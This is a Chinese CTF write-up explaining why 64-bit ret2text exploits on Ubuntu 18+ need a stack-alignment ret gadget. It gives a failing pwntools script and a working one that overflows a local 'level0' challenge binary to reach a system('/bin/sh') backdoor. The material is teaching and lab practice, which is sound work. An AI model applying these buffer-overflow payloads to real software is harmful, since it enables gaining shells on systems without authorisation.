在ubuntu18以上的版本,64位的程序若包含了system(“/bin/sh”),就需要考虑堆栈平衡。下面以一道例题说明。

链接:https://pan.baidu.com/s/1QfEWfZDiqz56w7EwDFEvzg
提取码:1111

主函数:

被调用函数:

文件提供的后门函数:

很简单的栈溢出。

32位能正常运行的题解,在这里是错误的:

from pwn import *io=process("./level0")
raw_input()
elf=ELF("./level0")
system_addr=0x400596
io.recvuntil(b"World\n")payload=b"A"*(0x88)+p64(system_addr)
io.send(payload)
io.interactive()

我们另开一个终端,调试分析:

跟进callsystem中的system函数,有一个指令要求rsp+0x40的值是16字节对齐。

$rsp+0x40没有16字节对齐。

解决方法

更改payload长度,再添加一个任意的ret指令(不是同一个函数的ret也行)。

正确的题解:

from pwn import *io=process("./level0")
#raw_input()
elf=ELF("./level0")
system_addr=0x400596
io.recvuntil(b"World\n")payload=b"A"*(0x88)+p64(0x4005A5)+p64(system_addr)
io.send(payload)
io.interactive()

栈图:
注:下图第一步“callsystem处压入的rbp”改为“vulnerable_function处压入的rbp”。笔误写错了。
第一步的leave和ret是vulnerable_function的最后两步。


16字节对齐了,堆栈也平衡了。

大功告成

参考:http://blog.eonew.cn/archives/958

写在最后
最近有在转安卓逆向方向,感兴趣的同学可以来公众号看看哦~ 欢迎一起讨论问题~~

ret2text涉及到的堆栈平衡问题相关推荐

  1. 【汇编语言与计算机系统结构笔记15】子程序设计:调用与返回,保护与恢复寄存器,子程序的参数传递,堆栈平衡,结构伪操作 STRUC

    本次笔记内容: 20.子程序设计-1-1 21.子程序设计-1-2 22.子程序设计-1-3 注:我找到了对应内容的课件,请见我于GitHub的CS笔记仓库.因此,为了节省时间,我只记录老师上课强调的 ...

  2. ESP定律和堆栈平衡

    一.什么是ESP 二. 例说ESP与OD的对比 三. 正式开讲ESP定律 四. ESP定律的运行栗子 五. 堆栈平衡讲解 六.ESP定律的变形用法

  3. 堆栈平衡:估计这是最详细的讲解堆栈平衡的了 vc++6.0

    转自:https://blog.csdn.net/lixiangminghate/article/details/43195717 #include <stdio.h> #include ...

  4. 汇编达人视频学习6(汇编眼中的函数、CALL指令执行函数、堆栈传参、堆栈平衡、外平栈、内平栈)

    title: 汇编达人视频学习6 date: 2021年8月4日 15点15分 tags: 汇编达人 categories: 汇编达人 21.汇编眼中的函数 1.什么是函数 函数就是一系列指令的集合, ...

  5. 从汇编角度理解 ebpesp 寄存器、函数调用过程、函数参数传递以及堆栈平衡

    关于函数参数的传递及堆栈指针的变化,一直缺乏系统的认识和了解,各种博客也只是片面的讲解某个局部知识点,并没有全局的把握和对栈的深刻理解.本文试图从汇编以及整体上,讲解函数调用时,堆栈的变化,以及到底是 ...

  6. 在地址随机化的操作系统环境下的堆栈平衡

    最近学习汇编以及各种和汇编有关系的课,在看汇编代码的时候发现各种对esp啊ebp的操作,最后的目的很多是为了堆栈平衡,因为如果函数调用之前和之后的堆栈不一致,就可能导致找不到数据或者找错数据.然后就想 ...

  7. 调用函数后的堆栈平衡

    对于__stdcall调用方式,调用函数的逻辑一般如下 //Caller;prolog push xx push ... call callee add esp x ; 恢复堆栈 ;epilog 一般 ...

  8. 浅谈安卓逆向月报(1)- 抖音 - ida - native层F5伪代码堆栈平衡修复

    这章主要聊聊如何修复可以F5伪代码 以最新的抖音840的so为例,这边仅仅说下如何修复F5,解决"positive sp value has been found"错误提示. 后续 ...

  9. vs调用堆栈窗口怎么弄出来_从零开始(1)栈帧、调用约定

    逆向学习从零开始(1)栈帧.调用约定明白函数和寄存器.栈的关系 PE程序拖入OD有四个基础窗口:代码执行窗口.寄存器窗口.数据窗口.栈窗口,帮助我们对程序进行逆向分析,运行程序,处理器执行的是汇编代码 ...

  10. 献给汇编初学者-函数调用堆栈变化分析

    献给汇编初学者-函数调用堆栈变化分析 标 题: 献给汇编初学者-函数调用堆栈变化分析 作 者: 堕落天才 时 间: 2007-01-19,19:20 链 接: http://bbs.pediy.com ...

最新文章

  1. 写着简单跑得又快的数据库语言 SPL
  2. CreateThread 和_beginthreadex区别
  3. Mysql在离线安装时启动失败:mysql服务无法启动,服务没有报告任何错误
  4. mysql group by与order by的研究--分类中最新的内容
  5. mysql安装完成后登入错误
  6. electerm,免费开源的SSH桌面终端,像xshell、termius一样好用
  7. LeetCode: Maximum Subarray
  8. 【BZOJ】1052: [HAOI2007]覆盖问题(贪心)
  9. 贝塔智能挪车V2.3.4汽车微信小程序 多开版源码
  10. 云计算和大数据时代网络技术揭秘
  11. 华为的薪酬体系整体框架,值得收藏
  12. mysql中sql添加表字段_SQL如何添加字段
  13. ||分享一些百度云下载不限速神器||
  14. postman通过脚本动态获取token 和cookies
  15. 和女性交往的一些经验总结
  16. HikariPool-1 - Exception during pool initialization. Could not create connection
  17. 关于《人月神话》的读后感
  18. git 回退远端master/develop分支版本
  19. 将ESXI上的虚拟机导出为OVF模板
  20. 深圳技术大学计算机专业分数线,深圳技术大学2020录取分数线(附2017-2020年分数线)...

热门文章

  1. 比较好用的门厂免费录单软件
  2. spring 通过yml格式配置log日志
  3. 九大Python处理PDF操作
  4. ubuntu14.04中文楷体变默认字体
  5. MagicDraw-参数图
  6. 详解Dual Thrust量化策略及其发明者Michael Chalek的前世今生
  7. ab压力测试post请求入参json格式处理
  8. 用c语言编程点亮7个二极管,单片机c语言编程二极管_单片机c语言编程_单片机c语言编程led...
  9. 算法导论习题(持续更新)
  10. RS485接口电路学习